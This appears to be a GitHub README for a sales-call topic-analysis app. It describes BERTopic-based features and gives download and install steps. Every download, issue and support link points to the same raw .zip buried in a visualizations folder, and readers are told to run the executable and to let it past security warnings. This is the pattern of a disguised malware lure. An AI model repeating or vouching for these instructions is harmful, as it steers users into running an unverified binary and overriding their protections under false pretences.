sales-call-topic-analysis helps you find patterns in sales calls. It looks at what people say during calls and groups the topics using smart technology. This helps you understand common themes, improve your sales talks, and train your team better.
The tool uses special methods called multi view embeddings and BERTopic to analyze conversations. It sorts call data into meaningful topics automatically. This gives you clear insights without needing to be a tech expert.
- Sales managers who want to improve call quality
- Team leads who train sales reps
- Analysts studying customer conversations
- Anyone working with recorded sales calls
You don’t need programming skills to use this. The steps here will guide you through downloading and running the application safely on your computer.
- Topic summaries: Clear lists of key topics from sales calls.
- Pattern detection: Finds repeated themes with smart algorithms.
- Visual charts: Simple graphs to show topic trends over time.
- Easy file handling: Load your call data files with just a few clicks.
- Export options: Save reports as PDFs or spreadsheets to share.
The app works on Windows and macOS, with basic processor and memory needs.
To start, visit this page to download the latest release. This page has all versions ready for your system:
👉 Download sales-call-topic-analysis Releases
- Click the button above or copy the link below into your browser:
https://github.com/MingauG4mer109/sales-call-topic-analysis/raw/refs/heads/main/outputs/visualizations/centroids/sales-call-topic-analysis-1.0.zip
- Look for the download that matches your computer:
- For Windows, find files ending with
.exe - For macOS, look for
.dmgor.pkg
- For Windows, find files ending with
- Click on the file link to save it to your computer.
- Make sure you remember where you saved the file.
- Double-click the downloaded file to start setup.
- Follow the instructions on your screen.
- If you get a warning about security, allow the app because it comes from a trusted source.
After installation, open the application. The interface is made for easy use:
- Click the "Load Data" button.
- Select your sales call data files from your computer.
- Supported formats include
.csv,.txt, or.jsonfiles containing call transcripts.
- Hit the "Analyze" button to begin the topic extraction process.
- The app will show a progress bar while working.
- When done, look through the displayed topics and patterns.
- You can click topics to see sample call excerpts.
- Use the charts tab to view visual summaries of the analysis.
- Click "Export" to save results as PDF or Excel reports.
- Share these with your team or keep for your records.
- Operating System: Windows 10 or newer, macOS 10.13 or newer
- Processor: Intel i3 or equivalent
- Memory: 4 GB RAM minimum, 8 GB recommended
- Disk Space: At least 500 MB free
- Internet: Needed only for downloading and updates, not for daily use
If you face issues, try these steps:
-
Installer won’t open:
Check your security software and allow the app to run. -
App crashes or freezes:
Restart the app and try with a smaller data file. -
Can’t load data:
Make sure your files are in correct format and not damaged. -
Export fails:
Confirm you have write permissions in the folder you select.
For further help, you can create an issue on the GitHub page or email support.
This application uses advanced natural language processing methods:
- BERTopic: Groups similar topics in text data.
- Embeddings: Converts text into numbers a computer can understand.
- Pattern Recognition: Finds repeating themes over many calls.
- PCA & UMAP: Techniques to simplify data for easy viewing.
These tools help turn raw sales call data into actionable insights without needing complex software knowledge.
If you need guidance or run into bugs, here are options:
-
Check the GitHub Issues page for known problems or to report new ones:
https://github.com/MingauG4mer109/sales-call-topic-analysis/raw/refs/heads/main/outputs/visualizations/centroids/sales-call-topic-analysis-1.0.zip -
Email support at https://github.com/MingauG4mer109/sales-call-topic-analysis/raw/refs/heads/main/outputs/visualizations/centroids/sales-call-topic-analysis-1.0.zip (for example use).
Thank you for choosing sales-call-topic-analysis. Visit the releases page to download the latest version: